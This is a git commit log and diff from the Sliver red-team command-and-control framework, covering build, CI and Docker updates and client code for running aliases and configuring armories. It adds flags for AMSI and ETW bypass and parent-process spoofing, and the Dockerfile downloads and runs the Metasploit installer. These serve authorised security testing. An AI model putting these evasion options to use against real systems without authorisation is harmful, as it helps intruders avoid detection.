moloch-- 33401dcd18 Merge master 2022-03-20 10:58:04 -05:00
Ronan Kervella f4fcbd9cdf Merge pull request #624 from BishopFox/fix/stage_encryption
Refactoring of client side crypto code
2022-03-09 12:55:15 -08:00
rkervella 3c864311fa Add missing file 2022-03-09 12:00:16 -08:00
rkervella 6db7c42d47 Refactor client cryptography code. 2022-03-09 11:59:43 -08:00
Ronan Kervella 004047308f Merge pull request #623 from BishopFox/fix/beacon-service
Service beacons
2022-03-09 11:24:51 -08:00
rkervella ca0fd1e7be Refactor to allow beacon services on Windows.
Fixes #622.
2022-03-08 12:48:23 -08:00
Ronan Kervella 204f013c5d Merge pull request #620 from BishopFox/feature/beacon-operator
Add beacon support to `prelude-operator connect`
2022-03-07 09:53:48 -08:00
moloch-- ac33916348 Update gems 2022-03-06 07:30:26 -06:00
rkervella 75b96fbc29 Remove powershell support from Linux and Darwin executors 2022-03-04 15:44:19 -08:00
rkervella 07bfb1735e Fix null pointer deref in error case 2022-03-04 15:43:14 -08:00
Joe ea20b344ce Merge pull request #619 from BishopFox/go/v1.17.8
Go v1.17.8
2022-03-04 17:31:04 -06:00
rkervella 98c1ac9547 Merge branch 'master' into feature/beacon-operator 2022-03-04 15:23:51 -08:00
rkervella 439c88ce78 Add missing file 2022-03-04 15:20:00 -08:00
rkervella 461aa255ca Add beacon support for Operator 2022-03-04 15:19:50 -08:00
moloch-- 076e34dd02 Go v1.17.8 2022-03-04 12:04:56 -06:00
Ronan Kervella ae517d1d34 Merge pull request #618 from BishopFox/fix/dll-race
Add "run-at-load" flag for shared libraries
2022-03-03 15:38:24 -08:00
rkervella d34541a3d4 Add "run-at-load" flag for shared libraries 2022-03-03 13:37:22 -08:00
Joe db7adc172d Merge pull request #617 from ExAndroidDev/stage-encryption
Added option to encrypt the stage via AES encryption
2022-03-02 07:18:19 -06:00
ExAndroidDev 2f520931f8 Added option to encrypt the stage via AES encryption 2022-02-28 17:15:27 +01:00
Joe 707ce345c7 Merge pull request #616 from BishopFox/dependabot/bundler/docs/nokogiri-1.13.3
Bump nokogiri from 1.12.5 to 1.13.3 in /docs
2022-02-26 07:48:16 -06:00
dependabot[bot] fcae20f92a Bump nokogiri from 1.12.5 to 1.13.3 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.12.5 to 1.13.3.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.12.5...v1.13.3)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-02-26 12:06:00 +00:00
moloch-- d09c1fd086 align prelude bof compatibility 2022-02-24 11:57:11 -06:00
moloch-- 98f510abf4 Allow more env overloads in makefile 2022-02-23 19:28:38 -06:00
Joe f2aa7b45c8 Merge pull request #614 from BishopFox/fix/exts
Various small fixes to extensions
2022-02-23 17:57:49 -06:00
moloch-- 01a0bfc9cf various small fixes to extensions 2022-02-23 17:18:55 -06:00
Ronan Kervella 0cef6749b5 Merge pull request #613 from BishopFox/fix/screenshot
Fix for screenshot command
2022-02-23 14:31:23 -08:00
rkervella 2b286ae3cf Deserialize to the proper message, and don't reuse message in response. Fixes Screenshot not working. #610 2022-02-23 13:53:19 -08:00
Ronan Kervella ee7d36dfed Merge pull request #611 from BishopFox/feature/beacon-audit-log
Add beacon registration to audit log
2022-02-22 18:12:46 -08:00
rkervella 7d793841f9 Add beacon registration to audit log 2022-02-22 15:52:32 -08:00
Joe fc61b82de2 Merge pull request #603 from BishopFox/fix/obfuscation
Fix regexp to include enums
2022-02-19 11:17:08 -06:00
moloch-- c91c724912 update garble with upstream, GOGARBLE, and -seed=random 2022-02-17 17:26:29 -06:00
rkervella 46d81fefa1 Fix regexp to include enums 2022-02-17 14:30:56 -08:00
moloch-- 23da56f5f9 Go v1.18 rc1 2022-02-17 16:15:50 -06:00
moloch-- 4a8397374e regenerate pb 2022-02-17 15:53:38 -06:00
moloch-- 359224a43e Added JS_TYPE to pivot protos 2022-02-17 15:51:47 -06:00
moloch-- 8a2d087039 Reduce http idle conn timeout 2022-02-17 15:51:47 -06:00
Joe aa50e9c874 Update README.md 2022-02-13 11:59:23 -06:00
Joe 646ef4273a Merge pull request #599 from BishopFox/fix/kill
Fix/kill
2022-02-12 18:59:52 -06:00
moloch-- 34738d2337 check rpc err on terminate cmd 2022-02-12 18:25:56 -06:00
moloch-- de31135fa5 fix related to session state mgmt and kill 2022-02-12 16:14:09 -06:00
Joe 8bc39cc231 Merge pull request #598 from BishopFox/fix/pivots
Fix/pivots
2022-02-12 14:54:44 -06:00
moloch-- f71a066ffc fix pivot/server ping interval, and calculation of pivot health 2022-02-12 13:45:00 -06:00
moloch-- 4b2b80b2f8 fix pivot session cleanup 2022-02-12 12:45:07 -06:00
moloch-- 41669ed41f fix pivotsession cleanup 2022-02-12 12:43:35 -06:00
moloch-- cdfee6510e fix issue #590, and improper named pivot peer ping cleanup 2022-02-12 12:41:39 -06:00
Joe 3826ca851e Merge pull request #596 from BishopFox/fix/reconfig
Fix Reconfig/Rename
2022-02-12 09:42:02 -06:00
moloch-- d2d7637b7d Updated reconfig cmd to support beacons, seperated rename cmd 2022-02-12 09:14:06 -06:00
moloch-- e907878674 Added link to wiki in help 2022-02-11 18:33:22 -06:00
Joe 21b7842bbf Merge pull request #595 from BishopFox/go/v1.17.7
Go v1.17.7
2022-02-11 17:04:48 -06:00
moloch-- b1ad4ada9e Go v1.17.7 2022-02-11 14:27:31 -06:00
Joe cf0b9766f7 Merge pull request #594 from kyleavery/prelude-changes
Prelude Operator: Small fixes and a new feature
2022-02-09 07:44:19 -06:00
Kyle Avery c4b096f867 fix coff-loader path 2022-02-09 04:40:23 -06:00
Kyle Avery 295c7cb5a0 Bringing back in executor changes 2022-02-09 04:33:18 -06:00
Kyle Avery 6d8d80970e trying out execute-assembly 2022-02-09 04:22:19 -06:00
Kyle Avery 925e5dfee7 testing 2022-02-08 18:56:21 -06:00
Kyle Avery 1885dc5ee3 added pwsh 2022-02-08 18:16:38 -06:00
Kyle Avery 1f694bda41 changes from v1.5.0_prelude_bugfix 2022-02-08 18:01:36 -06:00
Joe 53a35e4727 Update README.md 2022-02-08 17:59:10 -06:00
Joe 082dd94ea5 Merge pull request #591 from BishopFox/ux/term
tui ux improvements
2022-02-07 14:10:38 -07:00
moloch-- e71d142d86 tui ux improvements 2022-02-07 14:16:13 -06:00
moloch-- 260f4d4d75 Add extra help to alias cmds 2022-02-07 11:04:30 -06:00
moloch-- 05b663ee8a Add extra help to alias cmds 2022-02-07 11:03:02 -06:00
Joe c78a99a58f Merge pull request #587 from hypnoticpattern/master
fix: upload raise error if file isn't accessible
2022-02-07 07:27:17 -07:00
hypnoticpattern c874565177 fix: upload raise error if file isn't accessible 2022-02-06 23:28:23 -08:00
moloch-- 57d36054b2 Simplify rng initialization 2022-01-31 11:02:07 -07:00
Joe 154061e93a Merge pull request #585 from BishopFox/fix/http-c2-cfg
Implement fix for issue #584
2022-01-29 15:36:15 -06:00
moloch-- d514872d6f Implement fix for issue #584 2022-01-29 14:43:40 -06:00
moloch-- 30c46e85e7 fix comments 2022-01-29 08:31:30 -06:00
moloch-- 87e85bfa40 Verify c2 url scheme matches cmd flag 2022-01-28 17:10:08 -06:00
moloch-- f7a9040352 Fix linux install script 2022-01-28 11:27:40 -06:00
moloch-- 1756ffa2cd Updated install script to not unzip artifacts 2022-01-28 09:43:49 -06:00
moloch-- 928faad39a Fix msf/msf-remote cmds 2022-01-28 09:15:33 -06:00
moloch-- 34f28b15bc Fix windows file name 2022-01-27 11:51:35 -06:00
moloch-- 95ba042198 those arent zip files ... 2022-01-27 11:36:07 -06:00
moloch-- 80375092fe reorder unzip cmd flags 2022-01-27 11:09:58 -06:00
moloch-- 271d50d65c reorder unzip cmd flags 2022-01-27 10:31:51 -06:00
moloch-- 752efb0ed8 Add the .zip suffix because unzip is picky 2022-01-27 09:58:46 -06:00
moloch-- 657831f0c0 Extract artifacts from prior step 2022-01-27 09:23:47 -06:00
moloch-- 6382dcabc4 Extract artifacts from prior step 2022-01-27 09:07:53 -06:00
moloch-- 31efd2afb1 attempt to re-enable arm64 builds 2022-01-27 08:50:02 -06:00
Joe 1d2e76ba47 Merge pull request #578 from BishopFox/bugfix/fix-session-kill-format-string
Fix format string for session kills
2022-01-26 08:56:19 -06:00
moloch-- 9ba2d4cdfb Fix interactive command parsing https c2 urls 2022-01-24 20:21:56 -06:00
2798 changed files with 1391094 additions and 198007 deletions

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+1
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@@ -0,0 +1 @@
* @BishopFox/red-team
+44 -35
View File
@@ -3,7 +3,7 @@ name: Release
on:
push:
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
branches: [master]
branches: [master, goreleaser]
jobs:
@@ -14,10 +14,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.17
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '^1.17'
go-version: '1.18.5'
- name: OS Packages
run: |
@@ -35,6 +35,8 @@ jobs:
run: ./go-assets.sh
- name: Make
env:
ARTIFACT_SUFFIX: _linux
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Linux Artifacts
@@ -44,7 +46,11 @@ jobs:
path: ./sliver-*
- name: Make Windows
run: export PATH=/home/runner/go/bin/:$PATH && make windows
env:
ARTIFACT_SUFFIX: _windows
run: |
make clean
export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Windows Artifacts
uses: actions/upload-artifact@v2
@@ -59,10 +65,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.17
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '^1.17'
go-version: '1.18.5'
- name: Mingw
run: brew install mingw-w64
@@ -77,10 +83,14 @@ jobs:
run: ./go-assets.sh
- name: Make AMD64
env:
ARTIFACT_SUFFIX: _macos
run: make macos
# - name: Make ARM64
# run: make macos-arm64
- name: Make ARM64
env:
ARTIFACT_SUFFIX: _macos-arm64
run: make macos-arm64
- name: MacOS Artifacts
uses: actions/upload-artifact@v2
@@ -98,10 +108,18 @@ jobs:
timeout-minutes: 45
steps:
- run: mkdir -p ./release && mkdir -p ./artifacts
- run: mkdir -p ./builds
- uses: actions/download-artifact@v2
with:
path: ./artifacts
path: ./builds
- name: Extract Artifacts
run: |
mkdir -p ./artifacts
cp ./builds/linux/* ./artifacts
cp ./builds/windows/* ./artifacts
cp ./builds/macos/* ./artifacts
- id: install-secret-key
name: GPG Key(s)
@@ -109,43 +127,34 @@ jobs:
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
- name: Release
run: mkdir -p ./release
# Linux
- name: Linux AMD64
run: |
zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
gpg --default-key 4449039C --output ./release/sliver-server_linux.zip.sig --detach-sig ./release/sliver-server_linux.zip
gpg --default-key 4449039C --output ./release/sliver-client_linux.zip.sig --detach-sig ./release/sliver-client_linux.zip
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
# Windows
- name: Windows AMD64
run: |
zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
gpg --default-key 4449039C --output ./release/sliver-server_windows.zip.sig --detach-sig ./release/sliver-server_windows.zip
gpg --default-key 4449039C --output ./release/sliver-client_windows.zip.sig --detach-sig ./release/sliver-client_windows.zip
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
# MacOS AMD64
- name: MacOS AMD64
run: |
zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
gpg --default-key 4449039C --output ./release/sliver-server_macos.zip.sig --detach-sig ./release/sliver-server_macos.zip
gpg --default-key 4449039C --output ./release/sliver-client_macos.zip.sig --detach-sig ./release/sliver-client_macos.zip
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
# MacOS ARM64
# - name: Package MacOS ARM64
# run: |
# zip -j ./release/sliver-server_macos-arm64.zip ./artifacts/macos/sliver-server_arm64
# zip -j ./release/sliver-client_macos-arm64.zip ./artifacts/macos/sliver-client_arm64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: false
prerelease: true
files: |
./release/*
./artifacts/*
+2 -2
View File
@@ -17,10 +17,10 @@ jobs:
steps:
# Setup go environment
- name: Go 1.17
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: "^1.17"
go-version: "1.18.5"
- name: Checkout repository
uses: actions/checkout@v2
+11 -6
View File
@@ -6,19 +6,24 @@ on:
pull_request:
branches:
- master
types:
- opened
- reopened
- synchronize
- ready_for_review
jobs:
linux-windows-build:
name: Linux & Windows Build
runs-on: ubuntu-latest
timeout-minutes: 45
timeout-minutes: 90
steps:
- name: Go 1.17
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '^1.17'
go-version: '1.18.5'
- name: OS Packages
run: |
@@ -47,13 +52,13 @@ jobs:
macos-build:
name: MacOS Build
runs-on: macos-latest
timeout-minutes: 45
timeout-minutes: 90
steps:
- name: Go 1.17
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '^1.17'
go-version: '1.18.5'
- name: Mingw
run: brew install mingw-w64
+2
View File
@@ -40,3 +40,5 @@ sliver-server-windows.zip
.glide/
.DS_Store
dist/
+16 -16
View File
@@ -1,4 +1,4 @@
FROM golang:1.17.6
FROM golang:1.18.5
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -6,22 +6,22 @@ FROM golang:1.17.6
# a Docker deployment this is probably a good place to start.
#
ENV PROTOC_VER 3.17.1
ENV PROTOC_GEN_GO_VER v1.26.0
ENV GRPC_GO v1.1.0
ENV PROTOC_VER 3.19.4
ENV PROTOC_GEN_GO_VER v1.27.1
ENV GRPC_GO v1.2.0
# Base packages
RUN apt-get update --fix-missing && apt-get -y install \
git build-essential zlib1g zlib1g-dev \
libxml2 libxml2-dev libxslt-dev locate curl \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl wget xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
git build-essential zlib1g zlib1g-dev \
libxml2 libxml2-dev libxslt-dev locate curl \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl wget xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
#
# > User
@@ -33,8 +33,8 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
# > Metasploit
#
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
&& chmod 755 msfinstall \
&& ./msfinstall
&& chmod 755 msfinstall \
&& ./msfinstall
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
+26 -17
View File
@@ -3,6 +3,7 @@
#
GO ?= go
ARTIFACT_SUFFIX ?=
ENV =
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
@@ -22,16 +23,16 @@ GO_VERSION = $(shell $(GO) version)
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
MIN_SUPPORTED_GO_MINOR_VERSION = 17
MIN_SUPPORTED_GO_MINOR_VERSION = 18
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
VERSION ?= $(shell git describe --abbrev=0)
COMPILED_AT = $(shell date +%s)
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
ARMORY_PUB_KEY = RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
ARMORY_REPO_URL = https://api.github.com/repos/sliverarmory/armory/releases
RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
ARMORY_PUB_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
VERSION_PKG = github.com/bishopfox/sliver/client/version
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
GIT_COMMIT = $(shell git rev-parse HEAD)
@@ -76,8 +77,12 @@ ifeq ($(UNAME_S),Darwin)
SED_INPLACE := sed -i ''
STATIC_TARGET := macos
endif
# If no target is specified, determine GOARCH
ifeq ($(UNAME_P),arm)
ENV += GOARCH=arm64
ifeq ($(MAKECMDGOALS), )
ENV += GOARCH=arm64
endif
endif
ifeq ($(MAKECMDGOALS), linux)
@@ -99,28 +104,33 @@ endif
#
.PHONY: default
default: clean validate-go-version
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: macos
macos: clean validate-go-version
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: macos-arm64
macos-arm64: clean validate-go-version
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: linux
linux: clean validate-go-version
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: linux-arm64
linux-arm64: clean validate-go-version
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: windows
windows: clean validate-go-version
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
.PHONY: pb
pb:
@@ -151,5 +161,4 @@ clean-all: clean
.PHONY: clean
clean:
rm -f sliver-client_arm64 sliver-server_arm64
rm -f sliver-client sliver-server sliver-*.exe
+5 -1
View File
@@ -1,7 +1,7 @@
Sliver
======
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary encryption keys.
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
@@ -40,6 +40,10 @@ Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a
See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
### Feedback
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
### License - GPLv3
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
+27 -3
View File
@@ -21,7 +21,9 @@ package assets
import (
"encoding/json"
"io/ioutil"
"log"
"os"
"os/exec"
"path/filepath"
)
@@ -30,8 +32,10 @@ const (
)
var (
// DefaultArmoryPublicKey - The default public key for the armory
DefaultArmoryPublicKey string
DefaultArmoryRepoURL string
// DefaultArmoryRepoURL - The default repo url for the armory
DefaultArmoryRepoURL string
defaultArmoryConfig = &ArmoryConfig{
PublicKey: DefaultArmoryPublicKey,
@@ -39,9 +43,12 @@ var (
}
)
// ArmoryConfig - The armory config file
type ArmoryConfig struct {
PublicKey string `json:"public_key"`
RepoURL string `json:"repo_url"`
PublicKey string `json:"public_key"`
RepoURL string `json:"repo_url"`
Authorization string `json:"authorization"`
AuthorizationCmd string `json:"authorization_cmd"`
}
// GetArmoriesConfig - The parsed armory config file
@@ -59,5 +66,22 @@ func GetArmoriesConfig() []*ArmoryConfig {
if err != nil {
return []*ArmoryConfig{defaultArmoryConfig}
}
for _, armoryConfig := range armoryConfigs {
if armoryConfig.AuthorizationCmd != "" {
armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
}
}
return append(armoryConfigs, defaultArmoryConfig)
}
func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
if armoryConfig.AuthorizationCmd == "" {
return ""
}
out, err := exec.Command(armoryConfig.AuthorizationCmd).CombinedOutput()
if err != nil {
log.Printf("Failed to execute authorization_cmd '%s': %v", armoryConfig.AuthorizationCmd, err)
return ""
}
return string(out)
}
+6
View File
@@ -33,6 +33,9 @@ type ClientSettings struct {
TableStyle string `json:"tables"`
AutoAdult bool `json:"autoadult"`
BeaconAutoResults bool `json:"beacon_autoresults"`
SmallTermWidth int `json:"small_term_width"`
AlwaysOverflow bool `json:"always_overflow"`
VimMode bool `json:"vim_mode"`
}
// LoadSettings - Load the client settings from disk
@@ -55,6 +58,9 @@ func defaultSettings() *ClientSettings {
TableStyle: "SliverDefault",
AutoAdult: false,
BeaconAutoResults: true,
SmallTermWidth: 170,
AlwaysOverflow: false,
VimMode: false,
}
}
+2 -2
View File
@@ -59,9 +59,9 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
return
}
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
con.PrintInfof("Alias '%s' already exists", manifest.Name)
con.PrintInfof("Alias '%s' already exists", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
+44 -10
View File
@@ -28,6 +28,7 @@ import (
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
@@ -158,10 +159,13 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
}
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
longHelpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
addAliasCmd := &grumble.Command{
Name: aliasManifest.CommandName,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(aliasManifest.LongHelp),
LongHelp: longHelpMsg,
Run: func(extCtx *grumble.Context) error {
con.Println()
runAliasCommand(extCtx, con)
@@ -174,8 +178,15 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
f.Bool("i", "in-process", false, "Run in the current sliver process")
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
}
f.String("p", "process", "", "Path to process to host the shared object")
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
f.Uint("P", "ppid", 0, "parent process ID to use when creating the hosting process (Windows only)")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -266,7 +277,20 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
} else {
extArgs = strings.Join(args, " ")
}
extArgs = strings.TrimSpace(extArgs)
entryPoint := aliasManifest.Entrypoint
processArgsStr := ctx.Flags.String("process-arguments")
if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
con.PrintWarnf(" Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies and non-reflective PE files.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n")
confirm := false
prompt := &survey.Confirm{Message: "Do you want to continue?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
return
}
}
processArgs := strings.Split(processArgsStr, " ")
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = aliasManifest.getDefaultProcess(goos)
@@ -301,15 +325,21 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
